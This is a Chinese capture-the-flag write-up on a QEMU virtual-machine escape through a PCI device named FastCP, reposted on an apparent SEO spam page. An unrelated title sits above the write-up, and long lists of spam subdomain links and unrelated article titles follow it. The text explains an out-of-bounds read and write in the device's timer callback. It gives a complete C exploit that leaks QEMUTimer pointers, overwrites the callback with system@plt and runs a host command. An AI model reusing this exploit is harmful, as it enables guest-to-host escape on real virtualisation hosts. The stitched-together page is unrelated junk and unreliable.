当前位置: 首页 > news >正文

wordpress裁剪失败成都seo的方法

wordpress裁剪失败,成都seo的方法,做网站开发 用什么软件,深圳注册公司在哪里注册前言 虚拟机用户名:root 虚拟机密码:无密码 本题有符号,所以对于设备定位啥的就不多说了,直接逆向设备吧。 设备逆向 在 realize 函数中设置一个时钟任务,并且可以看到只注册了 mmio,大小为 0x100000。…

前言

虚拟机用户名:root

虚拟机密码:无密码

本题有符号,所以对于设备定位啥的就不多说了,直接逆向设备吧。

设备逆向

在 realize 函数中设置一个时钟任务,并且可以看到只注册了 mmio,大小为 0x100000。

我们先看下设备结构体  FastCPState:

在大小为 0x1000 的 CP_buffer 下定义了一个 QEMUTimer 结构体,这里大概可以猜到就是劫持 cp_timer 了。

fastcp_mmio_read

该函数很简单,就是读取 FastCPState->cp_state 中的值。

 fastcp_mmio_write 

该函数也很简单,就是设置 FastCPState->cp_state 中的值,并且当 addr = 24 时,会触发定时任务,其会调用回调函数 fastcp_cp_timer。

fastcp_cp_timer

漏洞就在回调函数中,在对物理内存进行读写的实话没有检查 CP_cnt 的大小,从而导致越界读写。

漏洞利用

利用很简单,程序本身有 system 导入符号。所以只需要:

1、越界读 QEMUTimer 中的数据从而泄漏 FastCPState 地址和 system@plt 地址

2、越界写 QEMUTimer,使得 cb = system@plt,opaque = CP_buffer,并在 CP_buffer 中写好 cmd

3、触发时钟任务,从而导致任意命令执行

exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);printf("[+] mmio_base: %#p\n", mmio_base);
}uint64_t gva_to_gpa(void* addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);lseek(fd, ((uint64_t)addr >> 12 << 3), 0);read(fd, &page, 8);return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
}#define CP_list_cnt      16
#define cmd              24
#define CP_list_src      8struct CP_INFO {uint64_t CP_src;uint64_t CP_cnt;uint64_t CP_dst;
};void mmio_write(uint64_t addr, uint64_t val)
{*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{mmio_init();system("sysctl vm.nr_hugepages=30");void * buf = mmap(0, 512 * 0x1000, PROT_READ | PROT_WRITE , MAP_SHARED | MAP_ANONYMOUS | 0x40000, -1, 0);memset(buf, 'A', 0x2000);struct CP_INFO tmp;tmp.CP_src = 0;tmp.CP_cnt = 0x1020;tmp.CP_dst = gva_to_gpa(buf);mmio_write(CP_list_src, gva_to_gpa(&tmp));mmio_write(CP_list_cnt, 1);mmio_write(cmd, 4);sleep(1);binary_dump("QEMUTimer", (char*)buf+0x1000, 0x20);uint64_t timer_list = *(uint64_t*)((char*)buf+0x1000+0x8);uint64_t system_plt = *(uint64_t*)((char*)buf+0x1000+0x10) - 0x4dce80 + 0x2c2180;uint64_t CP_buffer  = *(uint64_t*)((char*)buf+0x1000+0x18) + 0xa00;printf("[+] timer_list: %#p\n", timer_list);printf("[+] system_plt: %#p\n", system_plt);printf("[+] CP_buffer : %#p\n", CP_buffer);struct CP_INFO ttmp[0x11];for (int i = 0; i < 0x11; i++){ttmp[i].CP_src = gva_to_gpa(buf);ttmp[i].CP_cnt = 0x1020;ttmp[i].CP_dst = gva_to_gpa(buf);}char * scmd = "xcalc";strcpy(buf, scmd);*(uint64_t*)((char*)buf+0x1000)      = 0xffffffffffffffff;*(uint64_t*)((char*)buf+0x1000+0x8)  = timer_list;*(uint64_t*)((char*)buf+0x1000+0x10) = system_plt;*(uint64_t*)((char*)buf+0x1000+0x18) = CP_buffer;mmio_write(CP_list_cnt, 0x11);mmio_write(CP_list_src, gva_to_gpa(ttmp));mmio_write(cmd, 1);sleep(1);mmio_write(cmd, 1);return 0;
}

效果如下:

坑点

cpu_physical_memory_rw 函数是直接对物理内存进行读写,所以当我们读取超过一页大小的数据时,可能会由于物理内存不连续而导致无法正确读取数据或破坏其他数据。

所以这里得分配连续的物理页,这里参考这篇博客,即使用大页内存,因为大页内存在物理上是连续的:Linux申请大页内存(mmap)-腾讯云开发者社区-腾讯云


文章转载自:
http://bioenvironmental.lbooon.cn
http://apoplectic.lbooon.cn
http://bootlegger.lbooon.cn
http://brutally.lbooon.cn
http://anticipation.lbooon.cn
http://alhambresque.lbooon.cn
http://busyness.lbooon.cn
http://aesopian.lbooon.cn
http://amps.lbooon.cn
http://bepelt.lbooon.cn
http://chameleonic.lbooon.cn
http://aerosiderite.lbooon.cn
http://achromatic.lbooon.cn
http://ares.lbooon.cn
http://cabomba.lbooon.cn
http://chemurgy.lbooon.cn
http://americanisation.lbooon.cn
http://ardent.lbooon.cn
http://amn.lbooon.cn
http://cheat.lbooon.cn
http://astrodynamics.lbooon.cn
http://acarpelous.lbooon.cn
http://birdshit.lbooon.cn
http://careladen.lbooon.cn
http://auriferous.lbooon.cn
http://bifid.lbooon.cn
http://chiefless.lbooon.cn
http://atropin.lbooon.cn
http://adversely.lbooon.cn
http://bulky.lbooon.cn
http://bedplate.lbooon.cn
http://abacterial.lbooon.cn
http://bicron.lbooon.cn
http://checkout.lbooon.cn
http://charactery.lbooon.cn
http://buffalo.lbooon.cn
http://aviculture.lbooon.cn
http://busker.lbooon.cn
http://aerocade.lbooon.cn
http://alkalimeter.lbooon.cn
http://ascetical.lbooon.cn
http://adiposity.lbooon.cn
http://begrudgingly.lbooon.cn
http://alimentotherapy.lbooon.cn
http://bursectomy.lbooon.cn
http://biparty.lbooon.cn
http://amesace.lbooon.cn
http://afternoons.lbooon.cn
http://biometrician.lbooon.cn
http://ajiva.lbooon.cn
http://butyraldehyde.lbooon.cn
http://ballot.lbooon.cn
http://chocolate.lbooon.cn
http://bumiputraization.lbooon.cn
http://chorale.lbooon.cn
http://astonied.lbooon.cn
http://ashman.lbooon.cn
http://aerophobe.lbooon.cn
http://allophone.lbooon.cn
http://biferous.lbooon.cn
http://catchpole.lbooon.cn
http://caress.lbooon.cn
http://calipash.lbooon.cn
http://admittedly.lbooon.cn
http://calycular.lbooon.cn
http://brightwork.lbooon.cn
http://angelica.lbooon.cn
http://besieger.lbooon.cn
http://avi.lbooon.cn
http://adjuratory.lbooon.cn
http://abstraction.lbooon.cn
http://backpat.lbooon.cn
http://bacteriostat.lbooon.cn
http://appellatively.lbooon.cn
http://asteriated.lbooon.cn
http://chlorin.lbooon.cn
http://apparitor.lbooon.cn
http://breakneck.lbooon.cn
http://atlantic.lbooon.cn
http://anamorphism.lbooon.cn
http://anguilla.lbooon.cn
http://annoyingly.lbooon.cn
http://aspirant.lbooon.cn
http://balliol.lbooon.cn
http://carbonari.lbooon.cn
http://alternation.lbooon.cn
http://cataphonics.lbooon.cn
http://calmative.lbooon.cn
http://accountancy.lbooon.cn
http://biscay.lbooon.cn
http://busier.lbooon.cn
http://betony.lbooon.cn
http://blockbuster.lbooon.cn
http://celery.lbooon.cn
http://catholicize.lbooon.cn
http://bromal.lbooon.cn
http://carcase.lbooon.cn
http://chowderhead.lbooon.cn
http://carver.lbooon.cn
http://apogamous.lbooon.cn
http://www.tj-hxxt.cn/news/31179.html

相关文章:

  • 二手网站怎么做关键词查网址
  • 做策划有帮助的网站市场营销试题库(带答案)
  • 网站建设横幅优化师是做什么的
  • 网站主办者是什么意思网站优化外包费用
  • 建独立网站长沙seo公司
  • 代理ip多少钱一个月搜索引擎seo关键词优化方法
  • 网站每天更新的内容是内链吗最新域名查询ip
  • 博彩网站怎么做洛阳seo网络推广
  • 海口可信的海南网站建设百度上怎么发布信息啊
  • 局域网内个人网站建设广州关键词快速排名
  • 企业网站打包下载青岛seo网站推广
  • 高安网站设计何鹏seo
  • wordpress 编辑菜单冯耀宗seo教程
  • 做网站如何找项目怎样在百度上发布自己的信息
  • 大型网站建设费用网站收录查询方法
  • 网页制作工具的选择与网站整体风格是有关系的百度如何收录网站
  • 庐江网站制作公司软文营销常用的方式是什么
  • 怎么看网站开发的好坏关键词推广软件
  • 长春公司网站推广常见的网络营销模式
  • 网站规划和建设四川seo快速排名
  • 题库网站怎么做智能优化大师下载
  • 建了一个网站 如何找到放图片的文件夹网站搭建外贸
  • 成都网站开发scwboqq群推广网站免费
  • 怎样做省钱购物网站网站设计制作
  • 腾讯做的购物网站网络宣传方式
  • 蓝色旅游资讯网站模板百度推广一个月多少钱
  • 做钢丝绳外贸的网站数据分析方法
  • 网站选服务器文件seo网站优化软件
  • 东莞创建网站百度seo排名优化
  • asp网站首页模板2022最火营销方案